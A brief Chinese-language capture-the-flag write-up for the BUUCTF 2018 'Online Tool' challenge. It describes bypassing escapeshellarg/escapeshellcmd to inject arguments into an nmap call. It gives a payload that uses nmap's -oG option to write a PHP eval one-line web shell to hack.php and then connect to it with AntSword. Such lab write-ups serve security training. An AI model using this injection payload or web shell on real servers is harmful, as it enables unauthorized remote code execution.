[BUUCTF 2018]Online Tool
$_SERVER是php中一个超全局变量,是包含了头信息、路径、脚本位置等信息的一个数组;
其实第一个if不用绕,没用。
整体看一下,先绕过一系列的东西,然后执行了nmap的命令,其中host是传入的参数,这里应该是注入点。
关于nmap
查了一下,nmap存在一个参数 -oG 可以写入一个文件。
nmap <?php phpinfo();?> -oG phpinfo.php; 这样
所以大体思路是绕过
然后,用nmap的-oG命令写入一个一句话木马。
payload: ?host=’ <?php @eval($_POST["hack"]);?> -oG hack.php ’
然后 :
根据 sandbox的路径,用蚁剑连上,去根目录找flag就行了
buu是动态的flag,直接copy没有用
参考引用:
php超全局变量 $_SERVER: https://www.cnblogs.com/pawn-i/p/11328693.html
PHP escapeshellarg()+escapeshellcmd() 之殇: https://paper.seebug.org/164/